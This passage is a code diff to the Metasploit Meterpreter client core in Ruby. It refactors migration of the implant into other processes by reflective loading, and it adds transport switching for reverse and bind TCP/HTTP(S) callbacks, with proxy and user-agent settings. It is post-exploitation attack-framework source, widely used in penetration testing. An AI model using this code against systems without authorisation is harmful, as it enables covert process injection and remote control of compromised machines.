- client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
443
+ client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')
194
444
 
195
445
  # Determine the architecture for the pid we are going to migrate into...
196
446
  client.sys.process.processes.each { | p |
@@ -201,8 +451,8 @@ class ClientCore < Extension
201
451
  }
202
452
 
203
453
  # We cant migrate into a process that does not exist.
204
- if process.nil?
205
- raise RuntimeError, "Cannot migrate into non existent process", caller
454
+ unless process
455
+ raise RuntimeError, 'Cannot migrate into non existent process', caller
206
456
  end
207
457
 
208
458
  # We cannot migrate into a process that we are unable to open
@@ -215,7 +465,7 @@ class ClientCore < Extension
215
465
 
216
466
  # And we also cannot migrate into our own current process...
217
467
  if process['pid'] == client.sys.process.getpid
218
- raise RuntimeError, "Cannot migrate into current process", caller
468
+ raise RuntimeError, 'Cannot migrate into current process', caller
219
469
  end
220
470
 
221
471
  if client.platform =~ /linux/
@@ -234,19 +484,19 @@ class ClientCore < Extension
234
484
  blob = generate_payload_stub(process)
235
485
 
236
486
  # Build the migration request
237
- request = Packet.create_request( 'core_migrate' )
487
+ request = Packet.create_request('core_migrate')
238
488
 
239
489
  if client.platform =~ /linux/i
240
490
  socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
241
491
 
242
492
  if socket_path.length > UNIX_PATH_MAX - 1
243
- raise RuntimeError, "The writable dir is too long", caller
493
+ raise RuntimeError, 'The writable dir is too long', caller
244
494
  end
245
495
 
246
496
  pos = blob.index(DEFAULT_SOCK_PATH)
247
497
 
248
498
  if pos.nil?
249
- raise RuntimeError, "The meterpreter binary is wrong", caller
499
+ raise RuntimeError, 'The meterpreter binary is wrong', caller
250
500
  end
251
501
 
252
502
  blob[pos, socket_path.length + 1] = socket_path + "\x00"
@@ -260,14 +510,17 @@ class ClientCore < Extension
260
510
  request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
261
511
  request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
262
512
  request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
513
+
263
514
  if process['arch'] == ARCH_X86_64
264
515
  request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
265
516
  else
266
517
  request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
267
518
  end
268
519
 
269
- # Send the migration request (bump up the timeout to 60 seconds)
270
- client.send_request( request, 60 )
520
+ # Send the migration request. Timeout can be specified by the caller, or set to a min
521
+ # of 60 seconds.
522
+ timeout = [(opts[:timeout] || 0), 60].max
523
+ client.send_request(request, timeout)
271
524
 
272
525
  if client.passive_service
273
526
  # Sleep for 5 seconds to allow the full handoff, this prevents
@@ -289,7 +542,7 @@ class ClientCore < Extension
289
542
  # keep from hanging the packet dispatcher thread, which results
290
543
  # in blocking the entire process.
291
544
  begin
292
- Timeout.timeout(60) do
545
+ Timeout.timeout(timeout) do
293
546
  # Renegotiate SSL over this socket
294
547
  client.swap_sock_ssl_to_plain()
295
548
  client.swap_sock_plain_to_ssl()
@@ -350,17 +603,106 @@ class ClientCore < Extension
350
603
  if not client.passive_service
351
604
  self.client.send_packet(request)
352
605
  else
353
- # If this is a HTTP/HTTPS session we need to wait a few seconds
354
- # otherwise the session may not receive the command before we
355
- # kill the handler. This could be improved by the server side
356
- # sending a reply to shutdown first.
606
+ # If this is a HTTP/HTTPS session we need to wait a few seconds
607
+ # otherwise the session may not receive the command before we
608
+ # kill the handler. This could be improved by the server side
609
+ # sending a reply to shutdown first.
357
610
  self.client.send_packet_wait_response(request, 10)
358
611
  end
359
612
  true
360
613
  end
361
614
 
615
+ #
616
+ # Indicates if the given transport is a valid transport option.
617
+ #
618
+ def valid_transport?(transport)
619
+ if transport
620
+ VALID_TRANSPORTS.has_key?(transport.downcase)
621
+ else
622
+ false
623
+ end
624
+ end
625
+
362
626
  private
363
627
 
628
+ def transport_prepare_request(method, opts={})
629
+ unless valid_transport?(opts[:transport]) && opts[:lport]
630
+ return nil
631
+ end
632
+
633
+ if opts[:transport].starts_with?('reverse')
634
+ return false unless opts[:lhost]
635
+ else
636
+ # Bind shouldn't have lhost set
637
+ opts[:lhost] = nil
638
+ end
639
+
640
+ transport = VALID_TRANSPORTS[opts[:transport]]
641
+
642
+ request = Packet.create_request(method)
643
+
644
+ scheme = opts[:transport].split('_')[1]
645
+ url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
646
+
647
+ if opts[:comm_timeout]
648
+ request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
649
+ end
650
+
651
+ if opts[:session_exp]
652
+ request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
653
+ end
654
+
655
+ if opts[:retry_total]
656
+ request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
657
+ end
658
+
659
+ if opts[:retry_wait]
660
+ request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
661
+ end
662
+
663
+ # do more magic work for http(s) payloads
664
+ unless opts[:transport].ends_with?('tcp')
665
+ if opts[:uri]
666
+ url << '/' unless opts[:uri].start_with?('/')
667
+ url << opts[:uri]
668
+ url << '/' unless opts[:uri].end_with?('/')
669
+ else
670
+ sum = uri_checksum_lookup(:connect)
671
+ url << generate_uri_uuid(sum, opts[:uuid]) + '/'
672
+ end
673
+
674
+ # TODO: randomise if not specified?
675
+ opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
676
+ request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
677
+
678
+ if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
679
+ hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
680
+ request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
681
+ end
682
+
683
+ if opts[:proxy_host] && opts[:proxy_port]
684
+ prefix = 'http://'
685
+ prefix = 'socks=' if opts[:proxy_type] == 'socks'
686
+ proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
687
+ request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy)
688
+
689
+ if opts[:proxy_user]
690
+ request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
691
+ end
692
+ if opts[:proxy_pass]
693
+ request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
694
+ end
695
+ end
696
+
697
+ end
698
+
699
+ request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
700
+ request.add_tlv(TLV_TYPE_TRANS_URL, url)
701
+
702
+ return request
703
+ end
704
+
705
+
364
706
  def generate_payload_stub(process)
365
707
  case client.platform
366
708
  when /win/i
@@ -380,11 +722,9 @@ class ClientCore < Extension
380
722
 
381
723
  # Include the appropriate reflective dll injection module for the target process architecture...
382
724
  if process['arch'] == ARCH_X86
383
- c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
384
- binary_suffix = "x86.dll"
725
+ c.include( ::Msf::Payload::Windows::MeterpreterLoader )
385
726
  elsif process['arch'] == ARCH_X86_64
386
- c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
387
- binary_suffix = "x64.dll"
727
+ c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 )
388
728
  else
389
729
  raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
390
730
  end
@@ -392,41 +732,13 @@ class ClientCore < Extension
392
732
  # Create the migrate stager
393
733
  migrate_stager = c.new()
394
734
 
395
- dll = MeterpreterBinaries.path('metsrv',binary_suffix)
396
- if dll.nil?
397
- raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
398
- end
399
- migrate_stager.datastore['DLL'] = dll
400
-
401
- blob = migrate_stager.stage_payload
402
-
403
- if client.passive_service
404
-
405
- #
406
- # Patch options into metsrv for reverse HTTP payloads
407
- #
408
- Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
409
- :ssl => client.ssl,
410
- :url => self.client.url,
411
- :expiration => self.client.expiration,
412
- :comm_timeout => self.client.comm_timeout,
413
- :ua => client.exploit_datastore['MeterpreterUserAgent'],
414
- :proxyhost => client.exploit_datastore['PROXYHOST'],
415
- :proxyport => client.exploit_datastore['PROXYPORT'],
416
- :proxy_type => client.exploit_datastore['PROXY_TYPE'],
417
- :proxy_username => client.exploit_datastore['PROXY_USERNAME'],
418
- :proxy_password => client.exploit_datastore['PROXY_PASSWORD']
419
-
420
- end
735
+ blob = migrate_stager.stage_meterpreter
421
736
 
422
737
  blob
423
738
  end
424
739
 
425
740
  def generate_linux_stub
426
- file = ::File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
427
- blob = ::File.open(file, "rb") {|f|
428
- f.read(f.stat.size)
429
- }
741
+ blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
430
742
 
431
743
  blob
432
744
  end